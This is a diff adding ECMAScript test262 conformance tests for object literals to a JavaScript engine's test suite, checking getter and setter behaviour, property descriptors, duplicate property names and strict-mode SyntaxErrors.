+$ERROR('#19: var array = [[1,2], [3], []]; var subarray = array[2]; subarray.length === 0. Actual: ' + (subarray.length));
+}
+
+//CHECK#20
+if (array[0][0] !== 1) {
+ $ERROR('#20: var array = [[1,2], [3], []]; array[0][0] === 1. Actual: ' + (array[0][0]));
+}
+
+//CHECK#21
+if (array[0][1] !== 2) {
+ $ERROR('#21: var array = [[1,2], [3], []]; array[0][1] === 2. Actual: ' + (array[0][1]));
+}
+
+//CHECK#22
+if (array[1][0] !== 3) {
+ $ERROR('#722: var array = [[1,2], [3], []]; array[1][0] === 3. Actual: ' + (array[1][0]));
+}
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.4/browser.js b/js/src/tests/test262/ch11/11.1/11.1.4/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.4/browser.js
diff --git a/js/src/tests/test262/ch11/11.1/11.1.4/shell.js b/js/src/tests/test262/ch11/11.1/11.1.4/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.4/shell.js
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5-0-1.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5-0-1.js
new file mode 100644
index 000000000..5ff963de5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5-0-1.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * it isn't clear what specific requirements of the specificaiton are being tested here. This test should
+ * probably be replaced by some more targeted tests. AllenWB
+ *
+ * @path ch11/11.1/11.1.5/11.1.5-0-1.js
+ * @description Object literal - get set property
+ */
+
+
+function testcase() {
+ var s1 = "In getter";
+ var s2 = "In setter";
+ var s3 = "Modified by setter";
+ eval("var o = {get foo(){ return s1;},set foo(arg){return s2 = s3}};");
+ if(o.foo !== s1)
+ return false;
+ o.foo=10;
+ if(s2 !== s3)
+ return false;
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5-0-2.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5-0-2.js
new file mode 100644
index 000000000..3f820b441
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5-0-2.js
@@ -0,0 +1,32 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * it isn't clear what specific requirements of the specificaiton are being tested here. This test should
+ * probably be replaced by some more targeted tests. AllenWB
+ *
+ * @path ch11/11.1/11.1.5/11.1.5-0-2.js
+ * @description Object literal - multiple get set properties
+ */
+
+
+function testcase() {
+ var s1 = "First getter";
+ var s2 = "First setter";
+ var s3 = "Second getter";
+ eval("var o = {get foo(){ return s1;},set foo(arg){return s2 = s3}, get bar(){ return s3}, set bar(arg){ s3 = arg;}};");
+ if(o.foo !== s1)
+ return false;
+ o.foo = 10;
+ if(s2 !== s3)
+ return false;
+ if(o.bar !== s3)
+ return false;
+ o.bar = "Second setter";
+ if(o.bar !== "Second setter")
+ return false;
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5-1-s.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5-1-s.js
new file mode 100644
index 000000000..371c0aceb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5-1-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.1/11.1.5/11.1.5-1-s.js
+ * @description Strict Mode - SyntaxError is thrown when 'eval' occurs as the Identifier in a PropertySetParameterList of a PropertyAssignment that is contained in strict code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var obj = {set _11_1_5_1_fun(eval) {}};");
+ return false;
+ } catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5-1gs.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5-1gs.js
new file mode 100644
index 000000000..6d7766e3e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5-1gs.js
@@ -0,0 +1,14 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.1/11.1.5/11.1.5-1gs.js
+ * @description Strict Mode - SyntaxError is thrown when 'eval' occurs as the Identifier in a PropertySetParameterList of a PropertyAssignment that is contained in strict code
+ * @onlyStrict
+ * @negative ^((?!NotEarlyError).)*$
+ */
+"use strict";
+throw NotEarlyError;
+var obj = { set _11_1_5_1_fun(eval) {}};
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5-2-s.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5-2-s.js
new file mode 100644
index 000000000..5b763b78a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5-2-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.1/11.1.5/11.1.5-2-s.js
+ * @description Strict Mode - SyntaxError is thrown when 'arguments' occurs as the Identifier in a PropertySetParameterList of a PropertyAssignment that is contained in strict code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var obj = {set _11_1_5_2_fun(arguments) {} };");
+ return false;
+ } catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5-2gs.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5-2gs.js
new file mode 100644
index 000000000..f45f20b51
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5-2gs.js
@@ -0,0 +1,14 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.1/11.1.5/11.1.5-2gs.js
+ * @description Strict Mode - SyntaxError is thrown when eval code contains an ObjectLiteral with more than one definition of any data property
+ * @onlyStrict
+ * @negative ^((?!NotEarlyError).)*$
+ */
+"use strict";
+throw NotEarlyError;
+var obj = { _11_1_5_2_gs: 10, _11_1_5_2_gs: 10 };
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5-3-s.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5-3-s.js
new file mode 100644
index 000000000..72219037e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5-3-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.1/11.1.5/11.1.5-3-s.js
+ * @description Strict Mode - SyntaxError is thrown when 'evals' occurs as the Identifier in a PropertySetParameterList of a PropertyAssignment if its FunctionBody is strict code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("var obj = {set _11_1_5_3_fun(eval) { \"use strict\"; }};");
+ return false;
+ } catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5-4-s.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5-4-s.js
new file mode 100644
index 000000000..8e4185c91
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5-4-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.1/11.1.5/11.1.5-4-s.js
+ * @description Strict Mode - SyntaxError is thrown when 'arguments' occurs as the Identifier in a PropertySetParameterList of a PropertyAssignment if its FunctionBody is strict code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("var obj = {set _11_1_5_4_fun(arguments) {\"use strict\";}};");
+ return false;
+ } catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_3-3-1.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_3-3-1.js
new file mode 100644
index 000000000..54b381128
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_3-3-1.js
@@ -0,0 +1,31 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 11.1.5;
+ * The production
+ * PropertyNameAndValueList : PropertyAssignment
+ * 3.Call the [[DefineOwnProperty]] internal method of obj with arguments propId.name, propId.descriptor, and false.
+ *
+ * @path ch11/11.1/11.1.5/11.1.5_3-3-1.js
+ * @description Object initialization using PropertyNameAndValueList (PropertyAssignment) when property (read-only) exists in Object.prototype (step 3)
+ */
+
+
+function testcase() {
+ try {
+ Object.defineProperty(Object.prototype, "prop", {
+ value: 100,
+ writable: false,
+ configurable: true
+ });
+ var obj = { prop: 12 };
+
+ return obj.hasOwnProperty("prop") && obj.prop === 12;
+ } finally {
+ delete Object.prototype.prop;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-a-2.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-a-2.js
new file mode 100644
index 000000000..837c309b3
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-a-2.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 11.1.5;
+ * The production
+ * PropertyNameAndValueList : PropertyNameAndValueList , PropertyAssignment
+ * 4. If previous is not undefined then throw a SyntaxError exception if any of the following conditions are true
+ * a. This production is contained in strict code and IsDataDescriptor(previous) is true and IsDataDescriptor(propId.descriptor) is true
+ *
+ * @path ch11/11.1/11.1.5/11.1.5_4-4-a-2.js
+ * @description Object literal - Duplicate data property name allowed if not in strict mode
+ */
+
+
+function testcase() {
+
+ eval("({foo:0,foo:1});");
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-a-3.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-a-3.js
new file mode 100644
index 000000000..9d37ec89d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-4-a-3.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 11.1.5;
+ * The production
+ * PropertyNameAndValueList : PropertyNameAndValueList , PropertyAssignment
+ * 4. If previous is not undefined then throw a SyntaxError exception if any of the following conditions are true
+ * a. This production is contained in strict code and IsDataDescriptor(previous) is true and IsDataDescriptor(propId.descriptor) is true
+ *
+ * @path ch11/11.1/11.1.5/11.1.5_4-4-a-3.js
+ * @description Object literal - Duplicate data property name allowed gets last defined value
+ */
+
+
+function testcase() {
+
+ var o = eval("({foo:0,foo:1});");
+ return o.foo===1;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-5-1.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-5-1.js
new file mode 100644
index 000000000..ff06c134b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_4-5-1.js
@@ -0,0 +1,32 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 11.1.5;
+ * The production
+ * PropertyNameAndValueList : PropertyNameAndValueList , PropertyAssignment
+ * 5.Call the [[DefineOwnProperty]] internal method of obj with arguments propId.name, propId.descriptor, and false.
+ *
+ * @path ch11/11.1/11.1.5/11.1.5_4-5-1.js
+ * @description Object initialization using PropertyNameAndValueList (PropertyNameAndValueList , PropertyAssignment) when property (read-only) exists in Object.prototype (Step 5)
+ */
+
+
+function testcase() {
+ try {
+ Object.defineProperty(Object.prototype, "prop2", {
+ value: 100,
+ writable: false,
+ configurable: true
+ });
+
+ var obj = { prop1: 101, prop2: 12 };
+
+ return obj.hasOwnProperty("prop2");
+ } finally {
+ delete Object.prototype.prop2;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_5-4-1.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_5-4-1.js
new file mode 100644
index 000000000..7af0a34ec
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_5-4-1.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 11.1.5;
+ * The production
+ * PropertyAssignment : PropertyName : AssignmentExpression
+ * 4.Let desc be the Property Descriptor{[[Value]]: propValue, [[Writable]]: true, [[Enumerable]]: true, [[Configurable]]: true}
+ *
+ * @path ch11/11.1/11.1.5/11.1.5_5-4-1.js
+ * @description Object literal - property descriptor for assignment expression
+ */
+
+
+function testcase() {
+
+ var o = {foo : 1};
+ var desc = Object.getOwnPropertyDescriptor(o,"foo");
+ if(desc.value === 1 &&
+ desc.writable === true &&
+ desc.enumerable === true &&
+ desc.configurable === true)
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_6-2-1-s.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_6-2-1-s.js
new file mode 100644
index 000000000..090d90944
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_6-2-1-s.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.1/11.1.5/11.1.5_6-2-1-s.js
+ * @description Strict Mode - SyntaxError is thrown when an assignment to a reserved word or a future reserved word is contained in strict code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var obj = {\
+ get _11_1_5_6_2_1() {\
+ public = 42;\
+ return public;\
+ }\
+ };");
+
+ var _11_1_5_6_2_1 = obj._11_1_5_6_2_1;
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_6-2-2-s.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_6-2-2-s.js
new file mode 100644
index 000000000..32afa56ed
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_6-2-2-s.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.1/11.1.5/11.1.5_6-2-2-s.js
+ * @description Strict Mode - SyntaxError is thrown when an assignment to a reserved word or a future reserved word is made inside a strict mode FunctionBody of a PropertyAssignment
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("var obj = {\
+ get _11_1_5_6_2_2() {\
+ \"use strict\";\
+ public = 42;\
+ return public;\
+ }\
+ };\
+ var _11_1_5_6_2_2 = obj._11_1_5_6_2_2;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_6-3-1.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_6-3-1.js
new file mode 100644
index 000000000..6514561d9
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_6-3-1.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 11.1.5;
+ * The production
+ * PropertyAssignment : get PropertyName ( ) { FunctionBody }
+ * 3.Let desc be the Property Descriptor{[[Get]]: closure, [[Enumerable]]: true, [[Configurable]]: true}
+ *
+ * @path ch11/11.1/11.1.5/11.1.5_6-3-1.js
+ * @description Object literal - property descriptor for get property assignment
+ */
+
+
+function testcase() {
+
+ eval("var o = {get foo(){return 1;}};");
+ var desc = Object.getOwnPropertyDescriptor(o,"foo");
+ if(desc.enumerable === true &&
+ desc.configurable === true)
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_6-3-2.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_6-3-2.js
new file mode 100644
index 000000000..dc0665d69
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_6-3-2.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 11.1.5;
+ * The production
+ * PropertyAssignment : get PropertyName ( ) { FunctionBody }
+ * 3.Let desc be the Property Descriptor{[[Get]]: closure, [[Enumerable]]: true, [[Configurable]]: true}
+ *
+ * @path ch11/11.1/11.1.5/11.1.5_6-3-2.js
+ * @description Object literal - property descriptor for get property assignment should not create a set function
+ */
+
+
+function testcase() {
+
+ eval("var o = {get foo(){return 1;}};");
+ var desc = Object.getOwnPropertyDescriptor(o,"foo");
+ return desc.set === undefined
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_7-2-1-s.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_7-2-1-s.js
new file mode 100644
index 000000000..71aacfa2e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_7-2-1-s.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.1/11.1.5/11.1.5_7-2-1-s.js
+ * @description Strict Mode - SyntaxError is thrown when an assignment to a reserved word is contained in strict code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var data = \"data\";\
+ var obj = {\
+ set _11_1_5_7_2_1(value) {\
+ public = 42;\
+ data = value;\
+ }\
+ };\
+ obj._11_1_5_7_2_1 = 1;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_7-2-2-s.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_7-2-2-s.js
new file mode 100644
index 000000000..b351a43f7
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_7-2-2-s.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.1/11.1.5/11.1.5_7-2-2-s.js
+ * @description Strict Mode - SyntaxError is thrown when an assignment to a reserved word is made in a strict FunctionBody of a PropertyAssignment
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var data = \"data\";\
+ var obj = {\
+ set _11_1_5_7_2_2(value) {\
+ public = 42;\
+ data = value;\
+ }\
+ };\
+ obj._11_1_5_7_2_2 = 1;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_7-3-1.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_7-3-1.js
new file mode 100644
index 000000000..ae453873d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_7-3-1.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 11.1.5;
+ * The production
+ * PropertyAssignment : set PropertyName( PropertySetParameterList ) { FunctionBody }
+ * 3.Let desc be the Property Descriptor{[[Set]]: closure, [[Enumerable]]: true, [[Configurable]]: true}
+ *
+ * @path ch11/11.1/11.1.5/11.1.5_7-3-1.js
+ * @description Object literal - property descriptor for set property assignment
+ */
+
+
+function testcase() {
+
+ eval("var o = {set foo(arg){return 1;}};");
+ var desc = Object.getOwnPropertyDescriptor(o,"foo");
+ if(desc.enumerable === true &&
+ desc.configurable === true)
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_7-3-2.js b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_7-3-2.js
new file mode 100644
index 000000000..216f80a2e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/11.1.5_7-3-2.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 11.1.5;
+ * The production
+ * PropertyAssignment : get PropertyName ( ) { FunctionBody }
+ * 3.Let desc be the Property Descriptor{[[Get]]: closure, [[Enumerable]]: true, [[Configurable]]: true}
+ *
+ * @path ch11/11.1/11.1.5/11.1.5_7-3-2.js
+ * @description Object literal - property descriptor for set property assignment should not create a get function
+ */
+
+
+function testcase() {
+
+ eval("var o = {set foo(arg){}};");
+ var desc = Object.getOwnPropertyDescriptor(o,"foo");
+ return desc.get === undefined
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/S11.1.5_A1.1.js b/js/src/tests/test262/ch11/11.1/11.1.5/S11.1.5_A1.1.js
new file mode 100644
index 000000000..0f4a1936e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/S11.1.5_A1.1.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Evaluate the production ObjectLiteral: { }
+ *
+ * @path ch11/11.1/11.1.5/S11.1.5_A1.1.js
+ * @description Checking various properteis of the object defined with "var object = {}"
+ */
+
+var object = {};
+
+//CHECK#1
+if (typeof object !== "object") {
+ $ERROR('#1: var object = {}; typeof object === "object". Actual: ' + (typeof object));
+}
+
+//CHECK#2
+if (object instanceof Object !== true) {
+ $ERROR('#2: var object = {}; object instanceof Object === true');
+}
+
+//CHECK#3
+if (object.toString !== Object.prototype.toString) {
+ $ERROR('#3: var object = {}; object.toString === Object.prototype.toString. Actual: ' + (object.toString));
+}
+
+//CHECK#4
+if (object.toString() !== "[object Object]") {
+ $ERROR('#4: var object = {}; object.toString === "[object Object]". Actual: ' + (object.toString));
+}
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/S11.1.5_A1.2.js b/js/src/tests/test262/ch11/11.1/11.1.5/S11.1.5_A1.2.js
new file mode 100644
index 000000000..9eff82640
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/S11.1.5_A1.2.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Evaluate the production ObjectLiteral: { NumericLiteral : AssignmentExpression}
+ *
+ * @path ch11/11.1/11.1.5/S11.1.5_A1.2.js
+ * @description Checking various properteis and contents of the object defined with "var object = {1 : true}"
+ */
+
+var object = {1 : true};
+
+//CHECK#1
+if (typeof object !== "object") {
+ $ERROR('#1: var object = {1 : true}; typeof object === "object". Actual: ' + (typeof object));
+}
+
+//CHECK#2
+if (object instanceof Object !== true) {
+ $ERROR('#2: var object = {1 : true}; object instanceof Object === true');
+}
+
+//CHECK#3
+if (object.toString !== Object.prototype.toString) {
+ $ERROR('#3: var object = {1 : true}; object.toString === Object.prototype.toString. Actual: ' + (object.toString));
+}
+
+//CHECK#4
+if (object[1] !== true) {
+ $ERROR('#4: var object = {1 : true}; object[1] === true');
+}
+
+//CHECK#5
+if (object["1"] !== true) {
+ $ERROR('#5: var object = {1 : true}; object["1"] === true');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/S11.1.5_A1.3.js b/js/src/tests/test262/ch11/11.1/11.1.5/S11.1.5_A1.3.js
new file mode 100644
index 000000000..dea77e509
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/S11.1.5_A1.3.js
@@ -0,0 +1,37 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Evaluate the production ObjectLiteral: { StringLiteral : AssignmentExpression}
+ *
+ * @path ch11/11.1/11.1.5/S11.1.5_A1.3.js
+ * @description Checking various properteis and contents of the object defined with "var object = {"x" : true}"
+ */
+
+var object = {"x" : true};
+
+//CHECK#1
+if (typeof object !== "object") {
+ $ERROR('#1: var object = {"x" : true}; typeof object === "object". Actual: ' + (typeof object));
+}
+
+//CHECK#2
+if (object instanceof Object !== true) {
+ $ERROR('#2: var object = {"x" : true}; object instanceof Object === true');
+}
+
+//CHECK#3
+if (object.toString !== Object.prototype.toString) {
+ $ERROR('#3: var object = {"x" : true}; object.toString === Object.prototype.toString. Actual: ' + (object.toString));
+}
+
+//CHECK#4
+if (object["x"] !== true) {
+ $ERROR('#4: var object = {"x" : true}; object["x"] === true');
+}
+
+//CHECK#5
+if (object.x !== true) {
+ $ERROR('#5: var object = {"x" : true}; object.x === true');
+}
+
